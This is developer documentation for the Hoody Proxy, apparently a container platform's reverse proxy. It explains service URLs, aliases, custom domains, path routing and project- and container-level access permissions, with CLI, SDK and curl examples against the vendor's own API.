**Each instance is isolated.** Terminal-1 is a different session than Terminal-2. Display-1 is a separate desktop from Display-2.

</div>

**The proxy routes to the correct instance automatically** based on the instance number in the URL.

---

## Authentication & Permissions

**The proxy enforces access control for container services:**

### Default: Open by Cryptographic URL

**By default, anyone with the URL can access.** But the URL contains:
- 24-char project ID (2^96 possibilities)
- 24-char container ID (2^96 possibilities)

**Practically unguessable.** But anyone the URL reaches — proxies, CI logs, browser history, screenshots, referer headers — can hit the container directly, so treat the URL like a bearer credential rather than a real access gate. For anything you wouldn't paste into a public channel, add explicit [proxy permissions](/foundation/proxy/permissions/) before exposing it.

### Configurable: Add Permissions When Ready

**Layer on authentication as needed:**

> `$TOKEN` in the HTTP examples below refers to a Hoody API bearer token. Obtain one with `hoody auth login` or create an automation token per the [authentication guide](/foundation/hoody-api/authentication/), then export it as `HOODY_TOKEN` before running the snippets.


  
    ```bash
    # Project-level permissions (apply to all containers)
    hoody projects proxy permissions replace --project $PROJECT_ID \
      --if-match file:v \
      --groups <name>='{...}' --permissions <name>='{...}' --default deny

    # Container-level permissions (override project settings)
    hoody containers proxy permissions replace --container $CONTAINER_ID \
      --if-match file:v \
      --groups <name>='{...}' --permissions <name>='{...}' --default deny
    ```
  
  
    ```typescript
    // Project-level permissions
    await client.api.proxyPermissionsProject.replace(PROJECT_ID, config);

    // Container-level permissions (override project)
    await client.api.proxyPermissionsContainer.replace(CONTAINER_ID, config);
    ```
  
  
    ```bash
    # The If-Match ETag (file:v) comes from a prior GET of the permissions document.

    # Project-level permissions (apply to all containers)
    curl -X PATCH "https://api.hoody.icu/api/v1/projects/$PROJECT_ID/proxy/permissions" \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -H "If-Match: file:v" \
      -d '{...}'

    # Container-level permissions (override project settings)
    curl -X PATCH "https://api.hoody.icu/api/v1/containers/$CONTAINER_ID/proxy/permissions" \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -H "If-Match: file:v" \
      -d '{...}'
    ```
  


**Authentication methods:**
- **JWT** - Token-based with claims validation
- **Password** - Username/password via HTTP Basic Auth
- **IP-based** - Allow/deny by IP address or CIDR range
- **Bearer token** - Custom token validation

**Program-specific permissions:**
- **Terminal** - Execute vs read-only
- **Files** - Read vs write vs delete
- **Display** - View vs control
- **Database** - Query vs modify

**See:** [Proxy Permissions →](./permissions/) for complete configuration.

---

## Service Discovery

**How do you know what URLs a container has?**

### Option 1: Construct URLs (Deterministic Pattern)

```javascript
// You know: projectId, containerId, serverName
const projectId = "67e89abc123def456789abcd";
const containerId = "890abcdef12345678901cdef";
const serverName = "node-us";

// Construct any service URL
const terminalUrl = `https://${projectId}-${containerId}-terminal-1.${serverName}.containers.hoody.icu`;
const displayUrl = `https://${projectId}-${containerId}-display-1.${serverName}.containers.hoody.icu`;
const sqliteUrl = `https://${projectId}-${containerId}-sqlite-1.${serverName}.containers.hoody.icu`;
```

### Option 2: Query via API


  
    ```bash
    # Get container details with live service information
    hoody containers get $CONTAINER_ID --runtime true
    ```
  
  
    ```typescript
    const container = await client.api.containers.get(CONTAINER_ID, { runtime: 'true' });
    console.log(container.data.runtime_info);
    ```
  
  
    ```bash
    curl "https://api.hoody.icu/api/v1/containers/$CONTAINER_ID?runtime=true" \
      -H "Authorization: Bearer $TOKEN"
    ```
  




**Response includes live service information:**

```json
{
  "data": {
    "id": "890abcdef12345678901cdef",
    "project_id": "67e89abc123def456789abcd",
    "server_name": "node-us",
    "runtime_info": {
      "terminals": [
        { "id": "1", "display": 1, "username": "user" }
      ],
      "displays": [
        { "display": 1, "pid": 12345, "connected_clients": 2 }
      ],
      "services": [
        { "name": "hoody-sqlite", "status": "running", "pid": 23456 }
      ]
    }
  }
}
```

**Then construct URLs for running services.**

---

## The Exception: Hoody API

**The Hoody API does NOT use the container pattern:**

```
Hoody API:  https://api.hoody.icu
            (platform management, no project/container prefix)

Container:  https://{project}-{container}-terminal-1.{server}.containers.hoody.icu
            (container service, includes project/container IDs)
```

**Why the difference:**

- **Hoody API** manages the platform (create containers, configure networks, manage billing)
- **Container services** run inside containers (execute commands, access files, query databases)

**One API spawns containers. Container URLs are what you spawned.**

---

## Proxy Capabilities

### 1. Custom Aliases

**Create memorable URLs for production:**


  
    ```bash
    # Create a memorable alias instead of cryptographic URLs
    hoody proxy create --container-id $CONTAINER_ID --alias my-api --program http --index 1
    ```
  
  
    ```typescript
    const alias = await client.api.proxyAliases.create({
      container_id: CONTAINER_ID,
      alias: 'my-api',
      program: 'http',
      index: 1
    });
    console.log(alias.data.url);
    // https://my-api.node-us.containers.hoody.icu
    ```
  
  
    ```bash
    curl -X POST "https://api.hoody.icu/api/v1/proxy/aliases" \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -d '{
        "container_id": "'$CONTAINER_ID'",
        "alias": "my-api",
        "program": "http",
        "index": 1
      }'
    ```
  


**Result:** `my-api.{serverName}.containers.hoody.icu` routes to your container's HTTP service.

**See:** [Proxy Aliases →](./aliases/)

### 2. Custom Domains

**Point your own domain to container services:**


  
    ```bash
    # Create alias as CNAME target
    hoody proxy create --container-id $CONTAINER_ID --alias my-app --program http --index 1

    # Then point your domain via DNS
    # api.mycompany.com  CNAME  my-app.node-us.containers.hoody.icu
    # SSL certificate provisioned automatically
    ```
  
  
    ```typescript
    // Create alias as CNAME target
    const alias = await client.api.proxyAliases.create({
      container_id: CONTAINER_ID,
      alias: 'my-app',
      program: 'http',
      index: 1
    });

    // Then point your domain via DNS:
    // api.mycompany.com  CNAME  my-app.node-us.containers.hoody.icu
    // SSL certificate provisioned automatically
    ```
  
  
    ```bash
    # Create alias as CNAME target
    curl -X POST "https://api.hoody.icu/api/v1/proxy/aliases" \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -d '{"container_id": "'$CONTAINER_ID'", "alias": "my-app", "program": "http", "index": 1}'

    # Then point your domain via DNS
    # api.mycompany.com  CNAME  my-app.node-us.containers.hoody.icu
    # SSL certificate provisioned automatically
    ```
  


**See:** [Connect a Domain →](./connect-domain/)

### 3. Path Routing

**Route different paths to different containers:**


  
    ```bash
    # Create alias with target path routing
    hoody proxy create --container-id $CONTAINER_ID \
      --alias my-app --program http --index 1 \
      --target-path /api/v1 --allow-path-override
    ```
  
  
    ```typescript
    const alias = await client.api.proxyAliases.create({
      container_id: CONTAINER_ID,
      alias: 'my-app',
      program: 'http',
      index: 1,
      target_path: '/api/v1',
      allow_path_override: true
    });
    ```
  
  
    ```bash
    curl -X POST "https://api.hoody.icu/api/v1/proxy/aliases" \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -d '{
        "container_id": "'$CONTAINER_ID'",
        "alias": "my-app",
        "program": "http",
        "target_path": "/api/v1",
        "allow_path_override": true
      }'
    ```
  


**Routing:**
- `my-app.node-us.containers.hoody.icu/api/v1/users` → Container's `/api/v1/users`
- `my-app.node-us.containers.hoody.icu/api/v1/posts` → Container's `/api/v1/posts`

### 4. Multi-Level Permissions

**Configure who can access what:**

**Project level** (applies to all containers):


  
    ```bash
    # Set project-level proxy permissions (IP-restricted)
    hoody projects proxy permissions replace --project $PROJECT_ID \
      --if-match file:v \
      --groups developers='{"type":"ip","range":"203.0.113.0/24"}' \
      --permissions developers='{"terminal":true,"files":true}' \
      --default deny
    ```
  
  
    ```typescript
    await client.api.proxyPermissionsProject.replace(PROJECT_ID, {
      groups: {
        developers: { type: 'ip', range: '203.0.113.0/24' }
      },
      permissions: {
        developers: { terminal: true, files: true }
      },
      default: 'deny'
    });
    ```
  
  
    ```bash
    # The If-Match ETag (file:v) comes from a prior GET of the permissions document.
    curl -X PATCH "https://api.hoody.icu/api/v1/projects/$PROJECT_ID/proxy/permissions" \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -H "If-Match: file:v" \
      -d '{
        "groups": {
          "developers": { "type": "ip", "range": "203.0.113.0/24" }
        },
        "permissions": {
          "developers": { "terminal": true, "files": true }
        },
        "default": "deny"
      }'
    ```
  


**Container level** (overrides project):


  
    ```bash
    # Override permissions for a specific container (public HTTP only)
    hoody containers proxy permissions replace --container $CONTAINER_ID \
      --if-match file:v \
      --groups public='{"type":"ip","range":"0.0.0.0/0"}' \
      --permissions public='{"http":true,"files":false}' \
      --default deny
    ```
  
  
    ```typescript
    await client.api.proxyPermissionsContainer.replace(CONTAINER_ID, {
      groups: {
        public: { type: 'ip', range: '0.0.0.0/0' }
      },
      permissions: {
        public: { http: true, files: false }
      },
      default: 'deny'
    });
    ```
  
  
    ```bash
    # The If-Match ETag (file:v) comes from a prior GET of the permissions document.
    curl -X PATCH "https://api.hoody.icu/api/v1/containers/$CONTAINER_ID/proxy/permissions" \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -H "If-Match: file:v" \
      -d '{
        "groups": {
          "public": { "type": "ip", "range": "0.0.0.0/0" }
        },
        "permissions": {
          "public": { "http": true, "files": false }
        },
        "default": "deny"
      }'
    ```
  


**See:** [Proxy Permissions →](./permissions/) for complete authentication configuration.

---

## Why This Changes Computing

### HTTP Unlocks Everything

**When every capability is HTTP:**

1. **Any device can control any container**
   - Phone → Terminal → Execute deployment
   - Tablet → Display → Access full desktop
   - Smart watch → Files → Read logs
   - IoT device → Agent → Trigger workflow

2. **Any service can call any other service**
   - hoody-exec calls hoody-terminal to run commands
   - hoody-terminal calls hoody-sqlite to store results
   - hoody-agent orchestrates everything via HTTP
   - External APIs integrate via hoody-curl

3. **Any AI can orchestrate everything**
   - LLMs already understand HTTP
   - No SDK needed
   - No custom training
   - Just make HTTP requests

4. **Everything is embeddable**
   - Terminals in documentation
   - Desktops in dashboards
   - Databases in spreadsheets
   - All via `<iframe src="...hoody.icu">`

**The proxy makes this possible by transforming every container capability into a first-class web citizen.**

---

## The Proxy Is Per-Server

**Important:** Each of your bare metal servers runs its own Hoody Proxy container.

**This means:**

```
Server 1 (node-us):
  └─ Hoody Proxy Container
      ├─ Routes traffic to Server 1's containers
      └─ URLs: ...node-us.containers.hoody.icu

Server 2 (node-eu):
  └─ Hoody Proxy Container
      ├─ Routes traffic to Server 2's containers
      └─ URLs: ...node-eu.containers.hoody.icu
```

**Container URLs include the server name** (`node-us`, `node-eu`) so you know which proxy handles them.

**Cross-server communication:** Containers on different servers communicate via their public URLs (through their respective proxies). Use [Realms](/foundation/hoody-api/realms/) for **API isolation** (token scoping and safety), not networking.

---

## Technical Details

### Load Balancing

**Proxy handles concurrent connections:**
- ✅ Thousands of WebSocket connections per service
- ✅ HTTP keep-alive for efficiency
- ✅ Connection pooling to backend services
- ✅ Graceful degradation under load

### Caching

**Proxy can cache responses:**
- Static files from hoody-files
- API responses from hoody-exec
- Database query results from hoody-sqlite
- Configurable via Cache-Control headers

### Request Size Limits

Per-service limits are set by the individual Kit services (hoody-files, hoody-exec, hoody-sqlite, etc.); the proxy streams request and response bodies without imposing its own size ceiling. Check each service's OpenAPI spec for the exact limits — there is no single global "request body: X MB" ceiling enforced at the proxy layer today.

---

## Proxy vs Container Services

**Clear distinction:**

<div style="display: grid; grid-template-columns: 1fr 1fr; gap: 1.5rem; margin: 1.5rem 0;">

<div style="padding: 1.25rem; background: #f8f8f8; border: 1px solid #ddd; border-radius: 4px;">

**Hoody Proxy** (Infrastructure)

**Location:** Container on your server

**Responsibilities:**
- TLS termination
- URL routing
- IP preservation
- Authentication enforcement
- Protocol handling
- Certificate management

**You configure:** Aliases, permissions, routing rules

</div>

<div style="padding: 1.25rem; background: #f8f8f8; border: 1px solid #ddd; border-radius: 4px;">

**Container Services** (Capabilities)

**Location:** Inside your containers

**Responsibilities:**
- Actual functionality
- Command execution
- File operations
- Database queries
- Display rendering

**You use:** The HTTP endpoints they expose

</div>

</div>

**The proxy routes TO services. Services provide capabilities.**

---

## Useful Questions

### Does the Hoody Proxy run on Hoody's servers or mine?

**Your server.** The Hoody Proxy runs as a container on YOUR bare metal. All container traffic routes through this proxy on your infrastructure—Hoody never sees your container data. We only see platform management operations via the Hoody API.

### Why can't I access UDP services through the proxy?

The Hoody Proxy is HTTP-based and only supports TCP protocols (HTTP, HTTPS, WebSocket). For UDP applications, you need to either use [Container Firewall](/foundation/networking/firewall/) to configure direct access, or bring an IPv4 address to the container via [IPv4 Management](/foundation/networking/ipv4/).

### Do I need to manage SSL certificates for container services?

No. All `*.containers.hoody.icu` URLs use wildcard certificates automatically managed by Hoody. For custom domains (via CNAME), SSL is provisioned automatically via Let's Encrypt when your DNS points to an alias. You never touch certificates.

### Can I run my own reverse proxy inside a container?

Yes! You can install nginx, Caddy, Traefik, or any proxy inside containers. The Hoody Proxy routes to your container's exposed port, then your internal proxy handles further routing. Common pattern: Hoody Proxy → nginx in container → multiple backend services.

### What happens if I run multiple HTTP servers in one container?

Access them via different ports: `http-3000`, `http-5000`, `http-8000` in the URL. The Hoody Proxy routes each to the correct internal port automatically. Alternatively, use one internal nginx proxy and route through `http-80`.

### Does the proxy add latency to my applications?

Minimal. The proxy runs on the same physical server as your containers (localhost routing). TLS termination and IP preservation add `<1ms` overhead. Your application's response time dominates—proxy latency is negligible.

### Can clients access containers without going through the proxy?

Not by default. All traffic flows through the proxy for security and observability. However, you can configure direct access via [IPv4 addresses](/foundation/networking/ipv4/) or [SSH](/foundation/networking/ssh/) which bypass the proxy completely.

### Why does my application see the real client IP without proxy headers?

Hoody uses custom netfilter hooks at the kernel level to preserve the original client connection information. Your container sees the real client IP in `remoteAddr` as if there were no proxy—no `X-Forwarded-For` parsing needed.

### Can I disable the proxy for a specific container?

Yes. Use CLI: `hoody containers proxy state --container $CONTAINER_ID --if-match file:v` (omit `--enable-proxy` to disable), SDK: `client.api.proxyPermissionsContainer.updateState(id, { enable_proxy: false })`, or HTTP: `PATCH /api/v1/containers/{id}/proxy/permissions/state` with `{"enable_proxy": false}` and an `If-Match: file:v` header (the ETag from a prior GET). All service URLs will return 503. Useful for maintenance or complete lockdown. The container keeps running, just becomes inaccessible via proxy URLs.

### Do I need different proxies for different containers?

No. One Hoody Proxy per server handles ALL containers on that server. The proxy routes based on the projectId-containerId pattern in URLs. Each server runs its own proxy instance, but you don't manage multiple proxies manually.

---

## Troubleshooting

### Container Service URLs Not Working

**Problem:** Service URLs return connection errors or timeouts

**Check container status:**



Verify:
- status: "running" (not stopped or error)
- runtime_info shows services are running

**Common causes:**

1. **Container not running:**
   

2. **Service not started in container:**
   ```bash
   # SSH into container and check
   # Or use terminal URL to verify service is running
   ```

3. **Wrong service name in URL:**
   ```bash
   # ❌ Wrong: ...terminal... (service doesn't exist)
   # ✅ Correct: Check container's runtime_info for available services
   ```

### 401/403 Errors on Container URLs

**Problem:** Cryptographic or alias URLs return authentication errors

**Cause:** Proxy permissions configured, but you don't match any group

**Check permissions:**





**Solutions:**

1. **If IP-based auth:** Verify you're connecting from whitelisted IP
   ```bash
   curl https://ifconfig.me  # Check your current IP
   ```

2. **If JWT/password auth:** Ensure credentials are correct

3. **Temporarily remove permissions for testing:**
   

### Proxy Disabled Errors

**Problem:** All container URLs return 503 Service Unavailable

**Check proxy state:**



**Solution:**

Re-enable proxy at project level:


Or at container level:


### TLS/SSL Certificate Errors

**Problem:** Browser shows certificate warnings for container URLs

**Reality:** This shouldn't happen - all `*.containers.hoody.icu` URLs have valid wildcard certificates

**If it occurs:**

1. **Clear browser cache** - Old cached certificates might cause issues
2. **Try different browser** - Isolate if browser-specific
3. **Check system time** - Wrong time causes certificate validation failures
4. **Verify URL:** Ensure you're accessing `*.containers.hoody.icu` not a typo

### Can't Access HTTP Service

**Problem:** `https://...http-3000.node-us.containers.hoody.icu` returns connection error

**Solutions:**

1. **Verify service is running on that port in container:**
   ```bash
   # SSH or use terminal URL to check
   netstat -tlnp | grep 3000
   # Should show service listening on port 3000
   ```

2. **Check it's the correct port number:**
   ```bash
   # If your app runs on 5000, use:
   # https://...http-5000.node-us.containers.hoody.icu
   ```

3. **Ensure service binds to 0.0.0.0 not localhost:**
   ```javascript
   // ❌ Wrong (localhost only)
   app.listen(3000, 'localhost');
   
   // ✅ Correct (accessible from proxy)
   app.listen(3000, '0.0.0.0');
   ```

### Real Client IP Not Showing

**Problem:** Application sees proxy IP instead of real client IP

**This shouldn't happen** - Hoody preserves real IPs via netfilter hooks

**If it occurs:**

1. **Verify you're reading `remoteAddr` correctly:**
   ```javascript
   // Node.js
   const clientIP = req.connection.remoteAddress;
   // or req.socket.remoteAddress
   ```

2. **Contact support** - This indicates infrastructure issue

---

## What's Next

**Understand proxy features:**

1. **[Create Aliases →](./aliases/)** - Clean URLs: `my-app.node-us.containers.hoody.icu`
2. **[Connect a Domain →](./connect-domain/)** - Point `api.mycompany.com` to containers
3. **[Configure Permissions →](./permissions/)** - Authentication and access control

**Explore container services:**
- 🛠️ [The Hoody Kit →](/kit/) - All 18 services the proxy routes to
- 📚 [API Reference →](/api/authentication/) - Complete endpoint documentation

---

> **The Hoody Proxy is the gateway to everything.**  
> **It runs on your server. You control it.**  
> **Every container capability becomes a URL.**  
> **Real client IPs. Automatic HTTPS. Zero configuration.**

**This is the infrastructure that enables infinite HTTP computers.**

---

# Proxy Permissions

**Page:** foundation/proxy/permissions

[Download Raw Markdown](./foundation/proxy/permissions.md)

---

# Proxy Permissions

**The Hoody Proxy enforces authentication and authorization for ALL container services.** Configure who can access what, at what level, with complete granularity.

After understanding [the proxy architecture](./) and [creating aliases](./aliases/), you need to understand **how to control access** to your container services.

---

## API Endpoints Summary

**Official Technical Reference:**

This Foundation page explains permission concepts and configuration strategies. For complete endpoint documentation:

**Project-Level Permissions:**
- **[GET /api/v1/projects/\{id\}/proxy/permissions](/api/proxy-permissions/)** - Get project permissions
- **[PATCH /api/v1/projects/\{id\}/proxy/permissions](/api/proxy-permissions/)** - Set project permissions
- **[DELETE /api/v1/projects/\{id\}/proxy/permissions](/api/proxy-permissions/)** - Remove project permissions
- **[PATCH /api/v1/projects/\{id\}/proxy/permissions/default](/api/proxy-permissions/)** - Update default policy
- **[PATCH /api/v1/projects/\{id\}/proxy/permissions/state](/api/proxy-permissions/)** - Toggle permissions on/off
- **[PATCH /api/v1/projects/\{id\}/proxy/permissions/groups/\{name\}/ip](/api/proxy-permissions/)** - Add/update IP auth group
- **[PATCH /api/v1/projects/\{id\}/proxy/permissions/groups/\{name\}/jwt](/api/proxy-permissions/)** - Add/update JWT auth group
- **[PATCH /api/v1/projects/\{id\}/proxy/permissions/groups/\{name\}/password](/api/proxy-permissions/)** - Add/update password auth group
- **[PATCH /api/v1/projects/\{id\}/proxy/permissions/groups/\{name\}/token](/api/proxy-permissions/)** - Add/update token auth group
- **[DELETE /api/v1/projects/\{id\}/proxy/permissions/groups/\{name\}](/api/proxy-permissions/)** - Remove auth group
- **[PATCH /api/v1/projects/\{id\}/proxy/permissions/permissions/\{name\}](/api/proxy-permissions/)** - Set group program permissions
- **[DELETE /api/v1/projects/\{id\}/proxy/permissions/permissions/\{name\}](/api/proxy-permissions/)** - Remove group permissions
- **[DELETE /api/v1/projects/\{id\}/proxy/permissions/permissions/\{name\}/\{program\}](/api/proxy-permissions/)** - Remove per-program permission

**Container-Level Permissions:**
- **[GET /api/v1/containers/\{id\}/proxy/permissions](/api/proxy-permissions/)** - Get container permissions
- **[PATCH /api/v1/containers/\{id\}/proxy/permissions](/api/proxy-permissions/)** - Set container permissions (overrides project)
- **[DELETE /api/v1/containers/\{id\}/proxy/permissions](/api/proxy-permissions/)** - Remove container permissions
- **[PATCH /api/v1/containers/\{id\}/proxy/permissions/state](/api/proxy-permissions/)** - Toggle container permissions on/off
- **[PATCH /api/v1/containers/\{id\}/proxy/permissions/default](/api/proxy-permissions/)** - Update container default policy
- **[DELETE /api/v1/containers/\{id\}/proxy/permissions/groups/\{name\}](/api/proxy-permissions/)** - Remove specific group
- **[PATCH /api/v1/containers/\{id\}/proxy/permissions/groups/\{name\}/ip](/api/proxy-permissions/)** - Add/update container IP auth group
- **[PATCH /api/v1/containers/\{id\}/proxy/permissions/groups/\{name\}/jwt](/api/proxy-permissions/)** - Add/update container JWT auth group
- **[PATCH /api/v1/containers/\{id\}/proxy/permissions/groups/\{name\}/password](/api/proxy-permissions/)** - Add/update container password auth group
- **[PATCH /api/v1/containers/\{id\}/proxy/permissions/groups/\{name\}/token](/api/proxy-permissions/)** - Add/update container token auth group

**Container Proxy Hooks (MITM traffic interception):**
- **[GET /api/v1/containers/\{id\}/proxy/hooks](/foundation/proxy/hooks/)** — List all hooks grouped by service
- **[POST /api/v1/containers/\{id\}/proxy/hooks/\{service\}](/foundation/proxy/hooks/)** — Append or insert a hook
- **[PATCH /api/v1/containers/\{id\}/proxy/hooks/\{service\}/\{hookId\}](/foundation/proxy/hooks/)** — Replace a hook
- **[DELETE /api/v1/containers/\{id\}/proxy/hooks/\{service\}/\{hookId\}](/foundation/proxy/hooks/)** — Remove a hook
- **[PATCH /api/v1/containers/\{id\}/proxy/hooks/\{service\}/\{hookId\}/position](/foundation/proxy/hooks/)** — Move a hook
- See [Proxy Hooks](/foundation/proxy/hooks/) for the full endpoint list + semantics.

**Container Proxy Settings (root enable/default policy):**
- **[GET /api/v1/containers/\{id\}/proxy/settings](/foundation/proxy/settings/)** — Get `enable_proxy` + `default`
- **[PATCH /api/v1/containers/\{id\}/proxy/settings](/foundation/proxy/settings/)** — Update `enable_proxy` and/or `default`


Your container's proxy configuration is split across four resources: **permissions** (this page — groups + per-program access), **hooks** ([MITM scripts](/foundation/proxy/hooks/) that run inside your own `hoody-exec`), **settings** ([root enable/default policy](/foundation/proxy/settings/) with ETag concurrency), and **aliases** ([custom subdomains pointing to this container](/foundation/proxy/aliases/)). When you write a `permissions` document, you can embed `hooks` inline as a field — but the dedicated hook endpoints above are the preferred surface for day-to-day hook CRUD.


---

## The Permission System

**Hoody's permission system is multi-layered:**

```
┌─────────────────────────────────────┐
│  Hoody API Authentication           │  ← User login, API tokens
│  (api.hoody.icu)                    │
└─────────────────────────────────────┘
              ↓
┌─────────────────────────────────────┐
│  Hoody Proxy Permissions            │  ← THIS PAGE
│  (Container access control)         │
│                                     │
│  ├─ Project-Level Permissions       │  ← Apply to all containers
│  └─ Container-Level Permissions     │  ← Override for specific containers
└─────────────────────────────────────┘
              ↓
┌─────────────────────────────────────┐
│  Container Services                 │
│  (terminal, display, files, etc.)   │
└─────────────────────────────────────┘
```

**Two separate systems:**
1. **Hoody API Auth** - Access to platform management (create containers, configure firewall)
2. **Proxy Permissions** - Access to container services (execute commands, read files, view displays)

This page covers **Proxy Permissions** - how to control who can use your container's terminal, files, displays, and other services.

---

## Core Concepts

### 1. Groups (WHO Can Access)

**Groups define authentication methods.**

Each group specifies HOW users prove their identity:

- **JWT** - Token-based with secret verification and claims validation
- **Password** - Username/password via HTTP Basic Auth
- **IP** - Allow/deny based on client IP address or CIDR range
- **Token** - Bearer token validation

**Example:**

```json
{
  "groups": {
    "developers": {
      "type": "ip",
      "range": "203.0.113.0/24"
    },
    "customers": {
      "type": "jwt",
      "secret": "your-jwt-secret",
      "sources": ["header:Authorization"]
    },
    "admin": {
      "type": "password",
      "username": "admin",
      "password": "hashed-password",
      "salt": "unique-salt"
    }
  }
}
```

### 2. Permissions (WHAT They Can Access)

**Permissions map groups to programs with flexible instance control.**

Each group gets specific access to container programs using:
- `true` - Allow ALL instances
- `false` - Deny ALL instances
- `number` - Allow ONLY this instance (e.g., `1` allows instance 1)
- `array` - Allow SPECIFIC instances (e.g., `[1, 2]` allows instances 1 and 2)

```json
{
  "permissions": {
    "developers": {
      "terminal": [1, 2],    // Allow terminal instances 1 and 2 only
      "files": true,         // Allow all file service instances
      "display": 1,          // Allow only display instance 1
      "http": true          // Allow all HTTP services
    },
    "customers": {
      "http": true,          // Allow all HTTP services
      "terminal": false,     // Deny all terminal access
      "files": false         // Deny all file access
    },
    "admin": {
      "terminal": true,      // Full access to all terminals
      "files": true,         // Full access to files
      "display": true,       // Full access to all displays
      "http": true,         // Full access to HTTP
      "ssh": true           // SSH access
    }
  }
}
```

### 3. Default Policy (Fallback)

**What happens when no group matches?**

```json
{
  "default": "deny"  // or "allow"
}
```

- **"deny"** - Block access if no group matches (secure by default)
- **"allow"** - Permit access if no group matches (open by default)

### 4. Hierarchy (Project vs Container)

**Permissions can be set at two levels:**

```
Project Level
  ├─ Applies to ALL containers in project
  └─ Good for consistent team access
      ↓
Container Level
  ├─ Overrides project settings for specific container
  └─ Good for exceptions (public container in private project)
```

**If both configured:** Container-level takes precedence.

---

## Default State: Open by Cryptographic URL

**By default, containers have NO proxy permissions configured.**

This means:
- **Anyone with the URL can access** all services
- No authentication required
- No group matching
- Pure "security by unguessable URL"

**The URL contains:**
```
https://67e89abc123def456789abcd-890abcdef12345678901cdef-terminal-1.node-us.containers.hoody.icu
       └────────24-char hex────┘ └────────24-char hex────┘
```

**2^96 × 2^96 = 2^192 possible combinations** for project+container pair.

**Practically unguessable.** Share URL = grant access — but anyone the URL reaches (pasted into Slack, captured in a screenshot, logged by a referer header, cached by a browser extension) can hit the container directly. Unguessability prevents blind discovery; it does not contain leaks or replace access control.

**This enables:**
- ✅ Instant collaboration (just share URL)
- ✅ Zero configuration (works immediately)
- ✅ Multiplayer by default (anyone with URL can join)

**When you need real access control:** Add [proxy permissions](#adding-permissions) — don't rely on URL secrecy for anything sensitive, and never paste container URLs into public channels, public dashboards, or untrusted third-party tools.

---

## Configuring Permissions

### Project-Level Permissions

**Apply authentication to ALL containers in a project:**


  
    ```bash
    # Set project-level proxy permissions (IP-restricted team access)
    # The If-Match ETag (file:v) comes from a prior `permissions get`.
    hoody projects proxy permissions replace --project $PROJECT_ID \
      --if-match file:v \
      --groups team='{"type": "ip", "range": "203.0.113.0/24"}' \
      --permissions team='{"terminal": [1,2], "files": true, "display": 1, "http": true}' \
      --default deny
    ```
  
  
    ```typescript
    await client.api.proxyPermissionsProject.replace(PROJECT_ID, {
      groups: {
        team: { type: 'ip', range: '203.0.113.0/24' }
      },
      permissions: {
        team: { terminal: [1, 2], files: true, display: 1, http: true }
      },
      default: 'deny'
    });
    ```
  
  
    ```bash
    # The If-Match ETag (file:v) comes from a prior GET of the permissions document.
    curl -X PATCH "https://api.hoody.icu/api/v1/projects/$PROJECT_ID/proxy/permissions" \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -H "If-Match: file:v" \
      -d '{
        "project": "'$PROJECT_ID'",
        "groups": {
          "team": { "type": "ip", "range": "203.0.113.0/24" }
        },
        "permissions": {
          "team": { "terminal": [1, 2], "files": true, "display": 1, "http": true }
        },
        "default": "deny"
      }'
    ```
  




**Now ALL containers in this project:**
- Require IP from `203.0.113.0/24` range
- Grant access to terminal, files, display, http
- Deny all other access

### Container-Level Permissions

**Override project settings for specific container:**


  
    ```bash
    # Override permissions for a specific container (public HTTP only)
    # The If-Match ETag (file:v) comes from a prior `permissions get`.
    hoody containers proxy permissions replace --container $CONTAINER_ID \
      --if-match file:v \
      --groups public='{"type": "ip", "range": "0.0.0.0/0"}' \
      --permissions public='{"http": true, "terminal": false, "files": false}' \
      --default deny
    ```
  
  
    ```typescript
    await client.api.proxyPermissionsContainer.replace(CONTAINER_ID, {
      groups: {
        public: { type: 'ip', range: '0.0.0.0/0' }
      },
      permissions: {
        public: { http: true, terminal: false, files: false }
      },
      default: 'deny'
    });
    ```
  
  
    ```bash
    # The If-Match ETag (file:v) comes from a prior GET of the permissions document.
    curl -X PATCH "https://api.hoody.icu/api/v1/containers/$CONTAINER_ID/proxy/permissions" \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -H "If-Match: file:v" \
      -d '{
        "project": "'$PROJECT_ID'",
        "container": "'$CONTAINER_ID'",
        "groups": {
          "public": { "type": "ip", "range": "0.0.0.0/0" }
        },
        "permissions": {
          "public": { "http": true, "terminal": false, "files": false }
        },
        "default": "deny"
      }'
    ```
  




**This container now:**
- Accepts requests from any IP (public access)
- Only HTTP services allowed
- Terminal and files completely denied
- Overrides project-level restrictions

**Use case:** Public demo container in an otherwise private project.

---

## Authentication Groups

**Groups define HOW users authenticate.**

### JWT Authentication

**Validate JSON Web Tokens:**

```json
{
  "groups": {
    "authenticated_users": {
      "type": "jwt",
      "secret": "your-jwt-signing-secret",
      "algorithm": "HS256",
      "sources": ["header:Authorization", "cookie:auth_token"],
      "claims": {
        "iss": "mycompany.com",
        "aud": "production-api"
      }
    }
  }
}
```

**Parameters:**
- `secret` - JWT signing key (required)
- `algorithm` - HS256, RS256, or ES256 (required)
- `sources` - Where to look for the token (required). Each entry must match `header:Name` or `cookie:Name` — JWTs can only be read from a header or a cookie.
- `claims` - Required JWT claims to validate (optional)

**Token sources examples:**
- `header:Authorization` - Bearer token in Authorization header
- `cookie:session` - JWT in session cookie

**Use case:** Your application issues JWTs to users, Hoody validates them at the proxy level.

### Password Authentication

**HTTP Basic Auth with username/password:**

```json
{
  "groups": {
    "admin_access": {
      "type": "password",
      "username": "admin",
      "password": "hashed-password-here",
      "algorithm": "sha256",
      "salt": "unique-salt-value"
    }
  }
}
```

**Parameters:**
- `username` - Exact username match required
- `password` - Plain or hashed password
- `algorithm` - Hashing algorithm (sha256)
- `salt` - Salt for password hashing

**Browser behavior:** Browser will show HTTP Basic Auth prompt automatically.

**Why Password Auth is Underrated:**

While it's an old protocol, **password authentication is remarkably portable**:

- **Works everywhere** - No JWT libraries needed, no token management
- **Browser native** - Built-in auth prompts on all browsers
- **Zero dependencies** - Just username + password, works on any HTTP client
- **Perfect for humans** - Simple, intuitive, memorable credentials
- **URL embeddable** - `https://user:pass@domain.com` works in most contexts
- **Emergency access** - When OAuth is down, password auth still works
